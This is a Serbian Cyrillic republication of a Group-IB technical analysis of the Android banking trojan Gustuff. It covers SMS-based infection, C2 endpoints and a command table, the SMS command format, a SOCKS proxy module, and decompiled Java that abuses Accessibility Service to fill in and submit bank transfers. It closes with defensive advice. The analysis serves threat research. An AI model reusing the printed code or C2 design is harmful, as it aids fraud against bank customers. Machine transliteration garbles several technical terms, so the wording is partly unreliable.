Како Андроид Тројанац Густуфф скида крему (фијат и крипто) са ваших налога

Како Андроид Тројанац Густуфф скида крему (фијат и крипто) са ваших налога

Баш пре неки дан Група-ИБ информисани о активности мобилног Андроид Тројанца Густуфф. Ради искључиво на међународним тржиштима, нападајући клијенте 100 највећих страних банака, кориснике мобилних 32 крипто новчаника, као и велике ресурсе е-трговине. Али програмер Густуффа је сајбер криминалац који говори руски под надимком Бестоффер. Донедавно је хвалио свој Тројанац као „озбиљан производ за људе са знањем и искуством“.

Специјалиста за анализу злонамерног кода у Гроуп-ИБ Иван Писарев у свом истраживању он детаљно говори о томе како Густуфф функционише и које су његове опасности.

За ким Густуфф лови?

Густуфф припада новој генерацији малвера са потпуно аутоматизованим функцијама. Према речима програмера, тројанац је постао нова и побољшана верзија злонамерног софтвера АндиБот, који од новембра 2017. напада Андроид телефоне и краде новац путем пхисхинг веб образаца маскирајући се у мобилне апликације познатих међународних банака и платних система. Бестоффер је известио да је цена закупа Густуфф Бота била 800 долара месечно.

Анализа узорка Густуфф показала је да тројанац потенцијално циља клијенте који користе мобилне апликације највећих банака, као што су Банк оф Америца, Банк оф Сцотланд, ЈПМорган, Веллс Фарго, Цапитал Оне, ТД Банк, ПНЦ Банк, као и крипто новчанике Битцоин новчаник, БитПаи, Цриптопаи, Цоинбасе, итд.

Првобитно креиран као класични банкарски тројанац, у својој тренутној верзији Густуфф је значајно проширио листу потенцијалних мета за напад. Поред Андроид апликација за банке, финтецх компаније и крипто сервисе, Густуфф је намењен корисницима маркетплаце апликација, онлајн продавница, система плаћања и инстант месинџера. Конкретно, ПаиПал, Вестерн Унион, еБаи, Валмарт, Скипе, ВхатсАпп, Гетт Таки, Револут и други.

Улазна тачка: обрачун за масовну инфекцију

Густуфф карактерише „класични“ вектор продора у Андроид паметне телефоне путем СМС порука са линковима до АПК-ова. Када је Андроид уређај инфициран тројанцем на команду сервера, Густуфф се може даље ширити преко базе података контаката зараженог телефона или преко базе података сервера. Функционалност Густуффа је дизајнирана за масовну инфекцију и максималну капитализацију пословања његових оператера - има јединствену функцију „аутоматског попуњавања“ у легитимне апликације за мобилно банкарство и крипто новчанике, што вам омогућава да убрзате и повећате крађу новца.

Студија о тројанцу показала је да је у њему имплементирана функција аутоматског попуњавања помоћу услуге приступачности, сервиса за особе са инвалидитетом. Густуфф није први тројанац који је успешно заобишао заштиту од интеракције са елементима прозора других апликација које користе ову Андроид услугу. Међутим, употреба услуге приступачности у комбинацији са пунилом аутомобила је још увек прилично ретка.

Након преузимања на телефон жртве, Густуфф, користећи услугу приступачности, може да ступи у интеракцију са елементима прозора других апликација (банкарство, криптовалуте, као и апликације за онлајн куповину, размену порука, итд.), обављајући радње неопходне за нападаче. . На пример, на команду сервера, тројанац може да притисне дугмад и промени вредности текстуалних поља у банкарским апликацијама. Коришћење механизма услуге приступачности омогућава тројанцу да заобиђе безбедносне механизме које банке користе за супротстављање мобилним тројанцима претходне генерације, као и промене безбедносне политике које је Гоогле имплементирао у новим верзијама Андроид ОС-а. Тако Густуфф „зна како“ да онемогући Гоогле Протецт заштиту: према аутору, ова функција ради у 70% случајева.

Како Андроид Тројанац Густуфф скида крему (фијат и крипто) са ваших налога

Густуфф такође може да прикаже лажна ПУСХ обавештења са иконама легитимних мобилних апликација. Корисник кликне на ПУСХ обавештење и види пхисхинг прозор преузет са сервера, где уноси тражену банковну картицу или податке о крипто новчанику. У другом Густуфф сценарију, отвара се апликација у чије име је приказано ПУСХ обавештење. У овом случају, малвер, на команду са сервера преко услуге приступачности, може да попуни поља обрасца банкарске апликације за лажну трансакцију.

Функционалност Густуфф-а такође укључује слање информација о зараженом уређају на сервер, могућност читања/слања СМС порука, слање УССД захтева, покретање СОЦКС5 проксија, праћење везе, слање датотека (укључујући скениране фотографије докумената, снимке екрана, фотографије) на сервера, ресетујте уређај на фабричка подешавања.

Анализа злонамерног софтвера

Пре инсталирања злонамерне апликације, Андроид ОС показује кориснику прозор који садржи листу права која је затражио Густуфф:

Како Андроид Тројанац Густуфф скида крему (фијат и крипто) са ваших налога
Апликација ће бити инсталирана тек након добијања сагласности корисника. Након покретања апликације, тројанац ће кориснику показати прозор:

Како Андроид Тројанац Густуфф скида крему (фијат и крипто) са ваших налога
Након тога ће уклонити своју икону.

Густуфф пакује, према речима аутора, пакер из ФТТ-а. Након покретања, апликација периодично контактира ЦнЦ сервер да би примила команде. Неколико датотека које смо прегледали користило је ИП адресу као контролни сервер 88.99.171[.]105 (у даљем тексту ћемо га означавати као <%ЦнЦ%>).

Након покретања, програм почиње да шаље поруке на сервер http://<%CnC%>/api/v1/get.php.

Очекује се да ће одговор бити ЈСОН у следећем формату:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Сваки пут када се приступи апликацији, она шаље информације о зараженом уређају. Формат поруке је приказан испод. Вреди напоменути да су поља Пун, екстра, апликације и дозволу – опционо и биће послато само у случају наредбе захтева од ЦнЦ-а.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Чување података о конфигурацији

Густуфф чува оперативно важне информације у датотеци преференција. Име датотеке, као и називи параметара у њој, резултат су израчунавања МД5 суме из стринга 15413090667214.6.1<%наме%>Где <%наме%> — почетно име-вредност. Питхон тумачење функције генерисања имена:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

У наставку ћемо је означавати као намеГенератор (улаз).
Дакле, прво име датотеке је: намеГенератор("АПИ_СЕРВЕР_ЛИСТ"), садржи вредности са следећим именима:

Име променљиве Вредност
намеГенератор("АПИ_СЕРВЕР_ЛИСТ") Садржи листу ЦнЦ адреса у облику низа.
намеГенератор("АПИ_СЕРВЕР_УРЛ") Садржи ЦнЦ адресу.
намеГенератор("СМС_УПЛОАД") Застава је подразумевано постављена. Ако је заставица постављена, шаље СМС поруке ЦнЦ-у.
намеГенератор("СМС_РООТ_НУМБЕР") Број телефона на који ће се слати СМС поруке које је примио заражени уређај. Подразумевано је нулл.
намеГенератор("СМС_РООТ_НУМБЕР_РЕСЕНД") Ознака је подразумевано обрисана. Ако је инсталиран, када заражени уређај прими СМС, он ће бити послат на основни број.
намеГенератор("ДЕФАУЛТ_АПП_СМС") Ознака је подразумевано обрисана. Ако је ова заставица постављена, апликација ће обрађивати долазне СМС поруке.
намеГенератор("ДЕФАУЛТ_АДМИН") Ознака је подразумевано обрисана. Ако је заставица постављена, апликација има администраторска права.
намеГенератор("ДЕФАУЛТ_АЦЦЕССИБИЛИТИ") Ознака је подразумевано обрисана. Ако је заставица постављена, сервис који користи услугу приступачности је покренут.
намеГенератор("АППС_ЦОНФИГ") ЈСОН објекат који садржи листу радњи које се морају извршити када се покрене догађај приступачности повезан са одређеном апликацијом.
намеГенератор("АППС_ИНСТАЛЛЕД") Чува листу апликација инсталираних на уређају.
намеГенератор("ИС_ФИСТ_РУН") Застава се ресетује при првом стартовању.
намеГенератор("УНИКУЕ_ИД") Садржи јединствени идентификатор. Генерише се када се бот први пут покрене.

Модул за обраду команди са сервера

Апликација чува адресе ЦнЦ сервера у облику низа кодираних помоћу Басе85 линије. Листа ЦнЦ сервера се може променити по пријему одговарајуће команде, у ком случају ће адресе бити ускладиштене у датотеци преференција.

Као одговор на захтев, сервер шаље команду апликацији. Вреди напоменути да су команде и параметри представљени у ЈСОН формату. Апликација може да обрађује следеће команде:

Тим Опис
форвардСтарт Почните да шаљете СМС поруке које је примио заражени уређај на ЦнЦ сервер.
форвардСтоп Зауставите слање СМС порука које је заражени уређај примио на ЦнЦ сервер.
уссдРун Извршите УССД захтев. Број на који треба да пошаљете УССД захтев налази се у ЈСОН пољу „број“.
послати СМС Пошаљите једну СМС поруку (ако је потребно, порука се „подели“ на делове). Као параметар, команда узима ЈСОН објекат који садржи поља "то" - број одредишта и "боди" - тело поруке.
сендСмсАб Шаљите СМС поруке (ако је потребно, порука се „подељује“ на делове) свима на листи контаката зараженог уређаја. Интервал између слања порука је 10 секунди. Тело поруке је у ЈСОН пољу „тело“
сендСмсМасс Шаљите СМС поруке (ако је потребно, порука се „подељује“ на делове) контактима наведеним у параметрима команде. Интервал између слања порука је 10 секунди. Као параметар команда узима ЈСОН низ (поље "смс"), чији елементи садрже поља "то" - одредишни број и "боди" - тело поруке.
цхангеСервер Ова команда може узети вредност са кључем „урл“ као параметром – тада ће бот променити вредност намеГенератор(“СЕРВЕР_УРЛ“), или „арраи“ – тада ће бот написати низ у намеГенератор (“АПИ_СЕРВЕР_ЛИСТ”) Тако апликација мења адресу ЦнЦ сервера.
админНумбер Команда је дизајнирана да ради са основним бројем. Команда прихвата ЈСОН објекат са следећим параметрима: “нумбер” — промени намеГенератор(“РООТ_НУМБЕР”) на примљену вредност, “поновно пошаљи” — промени намеГенератор(“СМС_РООТ_НУМБЕР_РЕСЕНД”), “сендИд” — пошаљи намеГенератор(“РООТ_НУМБЕР” ) уникатан ид.
упдатеИнфо Пошаљите информације о зараженом уређају на сервер.
брисање података Команда је намењена за брисање корисничких података. У зависности од тога под којим именом је апликација покренута, или се подаци потпуно бришу поновним покретањем уређаја (примарни корисник), или се бришу само подаци корисника (секундарни корисник).
соцксСтарт Покрените проки модул. Рад модула је описан у посебном одељку.
соцксСтоп Зауставите проки модул.
Отвори линк Пратите везу. Веза се налази у ЈСОН параметру испод кључа „урл“. „андроид.интент.ацтион.ВИЕВ“ се користи за отварање везе.
уплоадАллСмс Пошаљите све СМС поруке које је уређај примио на сервер.
уплоадАллПхотос Пошаљите слике са зараженог уређаја на УРЛ. УРЛ долази као параметар.
отпреми датотеку Пошаљите датотеку на УРЛ са зараженог уређаја. УРЛ долази као параметар.
уплоадПхонеНумберс Пошаљите бројеве телефона са листе контаката на сервер. Ако је вредност ЈСОН објекта са кључем „аб“ примљена као параметар, апликација добија листу контаката из телефонског именика. Ако се као параметар прими ЈСОН објекат са кључем „смс“, апликација чита листу контаката од пошиљалаца СМС порука.
цхангеАрцхиве Апликација преузима датотеку са адресе која долази као параметар помоћу кључа „урл“. Преузета датотека се чува под именом “арцхиве.зип”. Апликација ће затим распаковати датотеку, опционо користећи архивску лозинку „б5јКсх37гкгХБрЗхК4ј3Д“. Распаковани фајлови се чувају у директоријуму [екстерна меморија]/хгпс. У овом директоријуму, апликација чува веб лажне (описане у наставку).
акције Команда је дизајнирана да ради са Ацтион Сервице-ом, што је описано у посебном одељку.
тест Радећи ништа.
Довнлоад Команда је намењена преузимању датотеке са удаљеног сервера и њеном чувању у директоријуму „Преузимања“. УРЛ и назив датотеке долазе као параметар, поља у објекту ЈСОН параметара, респективно: „урл“ и „филеНаме“.
уклонити Уклања датотеку из директоријума „Преузимања“. Име датотеке долази у ЈСОН параметру са кључем „име датотеке“. Стандардно име датотеке је „тмп.апк“.
обавештење Прикажите обавештење са текстовима описа и наслова које дефинише сервер за управљање.

Формат команде обавештење:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Обавештење које генерише датотека под истрагом изгледа идентично обавештењима које генерише апликација наведена у пољу aplikacija. Ако вредност поља опенАпп — Истина, када се отвори обавештење, покреће се апликација наведена у пољу aplikacija. Ако вредност поља опенАпп — Нетачно, онда:

  • Отвара се прозор за крађу идентитета чији се садржај преузима из директоријума <%екстерна меморија%>/хгпс/<%филенаме%>
  • Отвара се прозор за пхисхинг, чији се садржај преузима са сервера <%урл%>?ид=<%Бот ид%>&апп=<%Апплицатион наме%>
  • Отвара се прозор за пхисхинг, прерушен у Гоогле Плаи картицу, са могућношћу уноса података о картици.

Апликација шаље резултат било које команде на <%ЦнЦ%>сет_стате.пхп као ЈСОН објекат у следећем формату:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

АцтионсСервице
Листа команди које апликација обрађује укључује акција. Када се прими наредба, модул за обраду команди приступа овој услузи да би извршио проширену команду. Услуга прихвата ЈСОН објекат као параметар. Услуга може да изврши следеће команде:

1. ПАРАМС_АЦТИОН — када прими такву команду, сервис прво прима од ЈСОН параметра вредност кључа Типе, која може бити следећа:

  • сервицеИнфо – подкоманда добија вредност по кључу из ЈСОН параметра инцлудеНотИмпортант. Ако је заставица Тачна, апликација поставља заставицу ФЛАГ_ИСОЛАТЕД_ПРОЦЕСС на услугу која користи услугу приступачности. На овај начин ће услуга бити покренута у посебном процесу.
  • корен — примите и пошаљите серверу информације о прозору који је тренутно у фокусу. Апликација добија информације помоћу класе АццессибилитиНодеИнфо.
  • Администратор — захтевајте администраторска права.
  • кашњење — суспендујте АцтионсСервице на број милисекунди наведен у параметру за кључ „подаци“.
  • прозори — послати листу прозора видљивих кориснику.
  • инсталирати — инсталирајте апликацију на заражени уређај. Име архивског пакета је у кључу „име датотеке“. Сама архива се налази у директоријуму Преузимања.
  • глобалан – подкоманда је намењена за навигацију из тренутног прозора:
    • у менију Брза подешавања
    • назад
    • кућа
    • на обавештења
    • до недавно отвореног прозора апликација

  • лансирање - покрените апликацију. Назив апликације долази као параметар по кључу подаци.
  • звуци — промените режим звука у тишину.
  • откључати — укључује позадинско осветљење екрана и тастатуре до пуне осветљености. Апликација обавља ову радњу користећи ВакеЛоцк, наводећи стринг [Апплицатион лабле]:ИНФО као ознаку
  • пермиссионОверлаи — функција није имплементирана (одговор на извршење команде је {"мессаге":"Нот суппорт"} или {"мессаге":"лов сдк"})
  • гест — функција није имплементирана (одговор на извршење команде је {"мессаге":"Нот суппорт"}или {"мессаге":"Лов АПИ"})
  • Дозволе — ова команда је неопходна за тражење дозвола за апликацију. Међутим, функција упита није имплементирана, па је команда бесмислена. Листа захтеваних права долази као ЈСОН низ са кључем „дозволе“. Стандардна листа:
    • андроид.пермиссион.РЕАД_ПХОНЕ_СТАТЕ
    • андроид.пермиссион.РЕАД_ЦОНТАЦТС
    • андроид.пермиссион.ЦАЛЛ_ПХОНЕ
    • андроид.пермиссион.РЕЦЕИВЕ_СМС
    • андроид.пермиссион.СЕНД_СМС
    • андроид.пермиссион.РЕАД_СМС
    • андроид.пермиссион.РЕАД_ЕКСТЕРНАЛ_СТОРАГЕ
    • андроид.пермиссион.ВРИТЕ_ЕКСТЕРНАЛ_СТОРАГЕ

  • часови — приказати прозор за пхисхинг. У зависности од параметра који долази са сервера, апликација може да прикаже следеће пхисхинг прозоре:
    • Прикажи прозор за пхисхинг чији је садржај записан у датотеци у директоријуму <%спољни директоријум%>/хгпс/<%парам_филенаме%>. Резултат интеракције корисника са прозором ће бити послат на <%ЦнЦ%>/рецордс.пхп
    • Прикажи прозор за пхисхинг чији је садржај унапред учитан са адресе <%урл_парам%>?ид=<%бот_ид%>&апп=<%пацкагенаме%>. Резултат интеракције корисника са прозором ће бити послат на <%ЦнЦ%>/рецордс.пхп
    • Прикажите прозор за „пецање“ прерушен у Гоогле Плаи картицу.

  • интерактиван — команда је дизајнирана за интеракцију са елементима прозора других апликација користећи АцессибилитиСервице. У програму интеракције је имплементирана посебна услуга. Апликација која се истражује може да комуницира са прозорима:
    • Тренутно активан. У овом случају, параметар садржи ид или текст (име) објекта са којим треба да ступите у интеракцију.
    • Видљиво кориснику у време извршења наредбе. Апликација бира прозоре по ИД-у.

    Примивши предмете АццессибилитиНодеИнфо За елементе прозора од интереса, апликација, у зависности од параметара, може извршити следеће радње:

    • фокус — поставите фокус на објекат.
    • клик — кликните на објекат.
    • ацтионИд — извршите акцију према ИД-у.
    • сетТект — промените текст објекта. Промена текста је могућа на два начина: извршити радњу АЦТИОН_СЕТ_ТЕКСТ (ако је Андроид верзија зараженог уређаја млађа или једнака ЛОЛЛИПОП), или постављањем стринга у међуспремник и лепљењем у објекат (за старије верзије). Ова команда се може користити за промену података у банкарској апликацији.

2. ПАРАМС_АЦТИОНС - исто као ПАРАМС_АЦТИОН, стиже само ЈСОН низ команди.

Чини се да ће многе људе занимати како изгледа функција интеракције са елементима прозора друге апликације. Овако је ова функционалност имплементирана у Густуфф-у:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Функција замене текста:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Тако, уз исправну конфигурацију контролног сервера, Густуфф је у могућности да попуни текстуална поља у банкарској апликацији и кликне на дугмад која су неопходна за завршетак трансакције. Тројанац не мора чак ни да се пријављује у апликацију — довољно је послати команду за приказ ПУСХ обавештења, а затим отворити претходно инсталирану банкарску апликацију. Корисник ће се аутентификовати, након чега ће Густуфф моћи да напуни аутомобил.

Модул за обраду СМС порука

Апликација инсталира обрађивач догађаја за заражени уређај за прихватање СМС порука. Апликација која се проучава може примати команде од оператера, које долазе у телу СМС поруке. Команде долазе у формату:

7!5=<%Басе64 кодирана команда%>

Апликација тражи стринг у свим долазним СМС порукама 7!5=, када је низ откривен, он декодира стринг из Басе64 на офсету 4 и извршава команду. Команде су сличне онима са ЦнЦ. Резултат извршења се шаље на исти број са којег је стигла команда. Формат одговора:

7*5=<%Басе64 кодирање "команде_кода резултата"%>

Опционо, апликација може слати све примљене поруке на Роот број. Да бисте то урадили, коренски број мора бити наведен у датотеци преференција и мора бити постављена заставица за преусмеравање порука. СМС порука се шаље на број нападача у формату:

<%Од броја%> - <%Време, формат: дд/ММ/гггг ХХ:мм:сс%> <%СМС боди%>

Такође, опционо, апликација може да шаље поруке ЦнЦ-у. СМС порука се шаље на сервер у ЈСОН формату:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Ако је застава постављена намеГенератор("ДЕФАУЛТ_АПП_СМС") – апликација престаје да обрађује СМС поруку и брише листу долазних порука.

Проки модул

Апликација која се проучава садржи Бацкцоннецт Проки модул (у даљем тексту Проки модул), који има посебну класу која укључује статичка поља са конфигурацијом. Подаци о конфигурацији се чувају у узорку у јасном облику:

Како Андроид Тројанац Густуфф скида крему (фијат и крипто) са ваших налога

Све радње које обавља Проки модул се пријављују у датотеке. Да би то урадила, апликација у екстерној меморији креира директоријум под називом „логови“ (поље ПрокиЦонфигЦласс.логсДир у класи конфигурације), у којем се чувају датотеке евиденције. Евидентирање се дешава у датотекама са именима:

  1. маин.ткт – рад класе под називом ЦоммандСервер је пријављен у ову датотеку. У наставку, евидентирање стринга стр у ову датотеку биће означено као маинЛог(стр).
  2. сессион-<%ид%>.ткт — ова датотека чува податке дневника повезане са одређеном прокси сесијом. У наставку, евидентирање стринга стр у ову датотеку биће означено као сессионЛог (стр).
  3. сервер.ткт – ова датотека се користи за евидентирање свих података уписаних у горе описане датотеке.

Формат података дневника:

<%Дате%> [Тхреад[<%тхреад ид%>], ид[]]: лог-стринг

Изузеци који се јављају током рада проки модула се такође евидентирају у датотеци. Да би то урадила, апликација генерише ЈСОН објекат у следећем формату:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Затим га конвертује у стринг репрезентацију и евидентира.

Проки модул се покреће након пријема одговарајуће команде. Када се прими наредба за покретање прокси модула, апликација покреће услугу која се зове МаинСервице, који је одговоран за управљање радом Проки модула – његово покретање и заустављање.

Фазе покретања услуге:

1. Покреће тајмер који се покреће једном у минуту и ​​проверава активност прокси модула. Ако модул није активан, покреће га.
Такође када се догађај покрене андроид.нет.цонн.ЦОННЕЦТИВИТИ_ЦХАНГЕ Проки модул је покренут.

2. Апликација креира ваке-лоцк са параметром ПАРТИАЛ_ВАКЕ_ЛОЦК и ухвати га. Ово спречава да ЦПУ уређаја пређе у режим спавања.

3. Покреће класу обраде команди прокси модула, прво евидентирајући линију маинЛог("старт сервер") и

Сервер::старт() хост[<%проки_цнц%>], цоммандПорт[<%цомманд_порт%>], прокиПорт[<%проки_порт%>]

где проки_цнц, цомманд_порт и проки_порт – параметри добијени из конфигурације прокси сервера.

Позива се класа обраде команди ЦоммандЦоннецтион. Одмах након покретања, врши следеће радње:

4. Повезује се на ПрокиЦонфигЦласс.хост: ПрокиЦонфигЦласс.цоммандПорт и шаље податке о зараженом уређају тамо у ЈСОН формату:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Где је:

  • ид – идентификатор, покушава да добије вредност са пољем „ид“ из датотеке Схаред Преференце под називом „к“. Ако се ова вредност не може добити, генерише се нова. Дакле, Проки модул има свој идентификатор, који се генерише слично као и Бот ИД.
  • имеи — ИМЕИ уређаја. Ако је дошло до грешке током процеса добијања вредности, уместо овог поља биће исписана текстуална порука о грешци.
  • имси — Међународни идентитет мобилног претплатника уређаја. Ако је дошло до грешке током процеса добијања вредности, уместо овог поља биће исписана текстуална порука о грешци.
  • модел — Назив крајњег производа који је видљив крајњем кориснику.
  • произвођач — Произвођач производа/хардвера (Буилд.МАНУФАЦТУРЕР).
  • андроидВерсион - стринг у формату "<%релеасе_версион%> (<%ос_версион%>),<%сдк_версион%>"
  • земља — тренутна локација уређаја.
  • партнерИд је празан стринг.
  • пацкагеНаме – назив пакета.
  • нетворкТипе — тип тренутне мрежне везе (пример: „ВИФИ“, „МОБИЛЕ“). У случају грешке, враћа нулл.
  • хасГсмСуппорт – тачно – ако телефон подржава ГСМ, иначе нетачно.
  • симРеади – стање СИМ картице.
  • симЦоунтри - ИСО код земље (засновано на провајдеру СИМ картице).
  • нетворкОператор — име оператора. Ако је дошло до грешке током процеса добијања вредности, уместо овог поља биће исписана текстуална порука о грешци.
  • симОператор — Име добављача услуга (СПН). Ако је дошло до грешке током процеса добијања вредности, уместо овог поља биће исписана текстуална порука о грешци.
  • верзија - ово поље се чува у класи конфигурације; за тестиране верзије бота било је једнако „1.6“.

5. Пребацује у режим чекања на команде са сервера. Команде са сервера долазе у формату:

  • 0 офсет – команда
  • 1 офсет – сессионИд
  • 2 офсет – дужина
  • 4 офсет - подаци

Када стигне команда, апликација евидентира:
маинЛог("Хеадер { сессионИд<%ид%>], типе[<%цомманд%>], ленгтх[<%ленгтх%>] }")

Могуће су следеће команде са сервера:

Име команда Датум Opis
цоннецтионИд 0 ИД везе Направите нову везу
СЛЕЕП 3 Време Паузирајте проки модул
СТОНИ ТЕНИС 4 - Пошаљи ПОНГ поруку

ПОНГ порука се састоји од 4 бајта и изгледа овако: 0x04000000.

Када се прими наредба цоннецтионИд (за креирање нове везе) ЦоммандЦоннецтион креира инстанцу класе ПрокиЦоннецтион.

  • У проксијању учествују две класе: ПрокиЦоннецтион и крај. Приликом креирања класе ПрокиЦоннецтион повезивање на адресу ПрокиЦонфигЦласс.хост: ПрокиЦонфигЦласс.прокиПорт и прослеђивање ЈСОН објекта:

 {
    "id":<%connectionId%>
}

Као одговор, сервер шаље СОЦКС5 поруку која садржи адресу удаљеног сервера са којим се мора успоставити веза. Интеракција са овим сервером се одвија преко класе крај. Подешавање везе може се шематски представити на следећи начин:

Како Андроид Тројанац Густуфф скида крему (фијат и крипто) са ваших налога

Мрежне интеракције

Да би се спречила анализа саобраћаја помоћу мрежних њушкара, интеракција између ЦнЦ сервера и апликације може бити заштићена коришћењем ССЛ протокола. Сви пренети подаци са сервера и на сервер су представљени у ЈСОН формату. Апликација извршава следеће захтеве током рада:

  • http://<%CnC%>/api/v1/set_state.php — резултат извршења команде.
  • http://<%CnC%>/api/v1/get.php — примање команде.
  • http://<%CnC%>/api/v1/load_sms.php — преузимање СМС порука са зараженог уређаја.
  • http://<%CnC%>/api/v1/load_ab.php — отпремање листе контаката са зараженог уређаја.
  • http://<%CnC%>/api/v1/aevents.php – захтев се поставља приликом ажурирања параметара који се налазе у датотеци преференција.
  • http://<%CnC%>/api/v1/set_card.php — отпремање података добијених коришћењем пхисхинг прозора који се маскира као Гоогле Плаи Маркет.
  • http://<%CnC%>/api/v1/logs.php – учитавање података дневника.
  • http://<%CnC%>/api/v1/records.php – отпремање података добијених кроз пхисхинг прозоре.
  • http://<%CnC%>/api/v1/set_error.php – обавештење о грешци која је настала.

Препоруке

Да би заштитиле своје клијенте од претњи мобилних тројанаца, компаније морају да користе свеобухватна решења која им омогућавају да надгледају и спрече злонамерне активности без инсталирања додатног софтвера на корисничке уређаје.

Да бисте то урадили, методе потписа за откривање мобилних тројанаца треба да буду ојачане технологијама за анализу понашања и клијента и саме апликације. Заштита би такође требало да укључи функцију идентификације уређаја помоћу технологије дигиталних отисака прстију, која ће омогућити да се разуме када се налог користи са нетипичног уређаја и већ је пао у руке преваранта.

Фундаментално важна тачка је доступност анализе унакрсних канала, која омогућава компанијама да контролишу ризике који настају не само на Интернету, већ и на мобилном каналу, на пример, у апликацијама за мобилно банкарство, за трансакције са криптовалутама и било које друге где финансијске трансакције.

Безбедносна правила за кориснике:

  • не инсталирајте апликације за мобилни уређај са Андроид ОС-ом из било ког другог извора осим Гоогле Плаи-а, обратите посебну пажњу на права која захтева апликација;
  • редовно инсталирајте ажурирања за Андроид ОС;
  • обратите пажњу на екстензије преузетих датотека;
  • не посећујте сумњиве ресурсе;
  • Не кликајте на линкове примљене у СМС порукама.

У главним улогама Семјон Рогачева, млађи специјалиста за истраживање малвера у Лабораторији за компјутерску форензику Гроуп-ИБ.

Извор: ввв.хабр.цом

Додај коментар